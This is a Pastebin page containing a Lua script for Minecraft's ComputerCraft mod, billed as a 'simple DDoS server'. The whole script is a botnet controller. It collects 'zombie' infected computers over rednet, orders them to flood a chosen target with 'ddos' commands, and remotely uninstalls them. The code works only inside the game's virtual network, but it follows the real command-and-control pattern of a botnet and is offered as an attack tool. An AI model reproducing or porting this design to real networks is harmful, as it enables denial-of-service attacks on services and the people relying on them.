Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- w,h = term.getSize()
- -- PaymentOption's simple DDoS server --
- VERSION = "Alpha 1.0"
- ----------------------------------------
- rednet.open("top")
- rednet.open("right")
- rednet.open("left")
- rednet.open("back")
- rednet.open("bottom")
- tVictims = {}
- selection = 1
- -- Menues and other screens --
- function printMenu()
- if selection == 1 then
- term.setCursorPos(1, 2)
- term.write("[ Attack ]")
- else
- term.setCursorPos(1, 2)
- term.write(" Attack ")
- end
- if selection == 2 then
- term.setCursorPos(1, 3)
- term.write("[ Send Uninstall ]")
- else
- term.setCursorPos(1, 3)
- term.write(" Send Uninstall ")
- end
- if selection == 3 then
- term.setCursorPos(1, 4)
- term.write("[ Zombie List ]")
- else
- term.setCursorPos(1, 4)
- term.write(" Zombie List ")
- end
- if selection == 4 then
- term.setCursorPos(1, 5)
- term.write("[ Mass Uninstall ]")
- else
- term.setCursorPos(1, 5)
- term.write(" Mass Uninstall ")
- end
- if selection == 5 then
- term.setCursorPos(1,6)
- term.write("[ Refresh Zombies ]")
- else
- term.setCursorPos(1,6)
- term.write(" Refresh Zombies ")
- end
- if selection == 6 then
- term.setCursorPos(1, 7)
- term.write("[ Quit ]")
- else
- term.setCursorPos(1, 7)
- term.write(" Quit ")
- end
- end
- function printLogo()
- term.setCursorPos(1, 8)
- print(" , ,")
- print(" /( )\\")
- print(" \\ \\_/ / , /\\ ,")
- print(" /_ _\\ /| || |\\")
- print(" | \\> </ | |\\_||_/|")
- print(" (_ ^ _) \\____/")
- print(" /.\\|IIIII|/.\\ _\\/_")
- print(" \\ \\_____/ / ()")
- print(" /\\ )=( /\\ ()")
- print(" / .-.\\=/.-' \\ ()")
- end
- ------------------------------
- -- Helper Functions --
- function cPrint(height, string)
- local xPos = w/2 - string.len(string)/2
- term.setCursorPos(xPos, height)
- term.write(string)
- end
- function rPrint(height, string)
- local xPos = w - string.len(string)
- term.setCursorPos(xPos, height)
- term.write(string)
- end
- function clear() term.clear(); term.setCursorPos(1,1) end
- ------------------------
- -- Networking --
- function addVictim(sender) tVictims[#tVictims+1] = sender end
- function sendAttack(receiver)
- for i = 1, #tVictims do
- rednet.send(tonumber(tVictims[i]), "ddos")
- rednet.send(tonumber(tVictims[i]), tostring(receiver))
- end
- end
- function stopAttack()
- for i = 1, #tVictims do
- rednet.send(tonumber(tVictims[i]), "stop")
- end
- end
- function getZombies()
- cPrint(6, "Looking for new connections for 10 seconds...")
- local bFound = true;
- while bFound == true do
- sender, message = rednet.receive(10)
- if message == "pingingin" then
- rednet.send(sender, "connected")
- for i=1, #tVictims+1 do
- if tVictims[i] == sender then return end
- end
- elseif message == nil then cPrint(8, "No new connections found!"); sleep(0.8); bFound = false; return end
- addVictim(sender); cPrint(8, "New connection! ID: "..sender); bFound = true; sleep(0.8)
- term.setCursorPos(1, 8); term.clearLine()
- end
- end
- function sendUninstall(receiver) rednet.send(tonumber(receiver), "uninstall") end
- ----------------
- -- Main Loop --
- while true do
- clear()
- printMenu()
- rPrint(18, "DDoS Server by PaymentOption")
- printLogo()
- local receiver = 0
- local uninstall = 0
- event, key = os.pullEvent("key")
- if key == 208 and selection < 6 then selection = selection+1
- elseif key == 200 and selection > 1 then selection = selection-1
- elseif key == 28 and selection == 1 then
- if #tVictims == 0 then rPrint(3, "No zombies available to attack!"); sleep(2)
- else
- clear()
- cPrint(6, "Recepient of attack: ")
- receiver = read()
- sendAttack(receiver)
- cPrint(8, "[ Stop Attack ]")
- event, key = os.pullEvent("key")
- while key ~= 28 do
- event, key = os.pullEvent("key")
- end
- stopAttack()
- end
- elseif key == 28 and selection == 2 then
- if #tVictims == 0 then rPrint(4, "No zombies to uninstall!"); sleep(2)
- else
- clear()
- write("Victims: ")
- for i=1, #tVictims do
- write(" "..tostring(tVictims[i])..",")
- end
- cPrint(6, "Victim to uninstall: ")
- uninstall = read()
- sendUninstall(uninstall)
- for i =1, #tVictims do
- if tonumber(uninstall) == tVictims[i] then
- table.remove(tVictims, i)
- break
- end
- end
- end
- elseif key == 28 and selection == 3 then
- clear()
- print("Total Zombies (Infected Computers): "..#tVictims)
- print("\nAll current connections:")
- for i = 1, #tVictims do
- print(tostring(tVictims[i]))
- end
- rPrint(18, "[ Exit ]")
- event, key = os.pullEvent("key")
- while key ~= 28 do
- event, key = os.pullEvent("key")
- end
- elseif key == 28 and selection == 4 then
- clear()
- for i=1, #tVictims do sendUninstall(tVictims[i]) end
- tVictims = {}
- cPrint(6, "All Zombies Uninstalled! :("); sleep(1)
- elseif key == 28 and selection == 5 then
- clear()
- getZombies()
- elseif key == 28 and selection == 6 then
- clear()
- break
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement